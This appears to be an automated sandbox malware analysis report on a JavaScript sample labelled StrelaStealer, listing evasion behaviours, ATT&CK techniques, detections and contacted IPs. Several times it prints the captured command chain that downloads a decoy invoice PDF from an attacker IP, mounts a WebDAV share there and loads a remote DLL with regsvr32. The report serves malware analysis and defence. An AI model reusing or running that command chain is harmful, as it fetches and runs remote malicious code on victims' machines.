Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4743			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5142			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5968	Thread sleep count: 4743 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1072	Thread sleep count: 5142 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5164	Thread sleep time: -11990383647911201s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1780	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 6092	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7248	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000006.00000002.1752355689.000001FA8E6E8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1752203244.000001FA8E688000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2971302154.000001A81A25A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 00000008.00000002.2969842073.000001A814C2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7267949011134.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7267949011134.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7267949011134.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7267949011134.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7267949011134.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	Junk Data	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Steganography	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
1573099322476027960.js	3%	Virustotal		Browse
1573099322476027960.js	5%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label
http://193.143.1.205:8888/7	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/?Z%	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/NumHq	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/kZY	0%	Avira URL Cloud	safe

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod.C:	edb.log.8.dr	false		high
http://193.143.1.205/invoice.php	wscript.exe, 00000000.00000002.1691369052.000001AB20B70000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.7.dr	false		high
https://g.live.com/odclientsettings/ProdV2	edb.log.8.dr	false		high
http://193.143.1.205:8888/7	net.exe, 00000006.00000002.1752203244.000001FA8E688000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96	svchost.exe, 00000008.00000003.1750047815.000001A81A132000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	false		high
http://193.143.1.205:8888/?Z%	net.exe, 00000006.00000002.1752260705.000001FA8E6BA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1750312048.000001FA8E6BA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/kZY	net.exe, 00000006.00000002.1752260705.000001FA8E6BA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1750312048.000001FA8E6BA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.ver)	svchost.exe, 00000008.00000002.2971187739.000001A81A200000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV2.C:	edb.log.8.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000006.00000002.1752260705.000001FA8E6BA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1750312048.000001FA8E6BA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1752203244.000001FA8E688000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1748366514.000001FA8E6DB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	svchost.exe, 00000008.00000003.1750047815.000001A81A132000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	false		high
http://193.143.1.205:8888/NumHq	net.exe, 00000006.00000002.1752203244.000001FA8E688000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588327
Start date and time:	2025-01-11 00:03:19 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 48s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	1573099322476027960.js
Detection:	MAL
Classification:	mal100.rans.spyw.expl.evad.winJS@27/60@0/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 50.16.47.176, 18.213.11.84, 34.237.241.83, 54.224.241.105, 2.16.168.107, 2.16.168.105, 172.64.41.3, 162.159.61.3, 23.40.179.72, 23.40.179.73, 23.40.179.76, 23.40.179.9, 23.40.179.4, 23.40.179.5, 23.40.179.78, 23.40.179.6, 23.40.179.77, 192.168.2.4, 184.28.90.27, 199.232.210.172, 23.209.209.135, 20.12.23.50, 23.217.172.185, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com.delivery.microsoft.com, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, e16604.g.akamaiedge.net, 4.8.2.0.0.0.0.0.0.0.0.0.0.0.0.0.2.0.0.0.2.0.c.0.0.3.0.1.3.0.6.2.ip6.arpa, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
18:04:13	API Interceptor	24x Sleep call for process: powershell.exe modified
18:04:17	API Interceptor	1x Sleep call for process: net.exe modified
18:04:17	API Interceptor	2x Sleep call for process: svchost.exe modified
18:04:30	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	21905169581426428153.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	340651472865228929.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	21092429235262508.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	27458284801797225280.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1957514819973625739.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	32600206981428831400.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	240815025266174071.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	17231147702223410654.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2640024673100216355.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
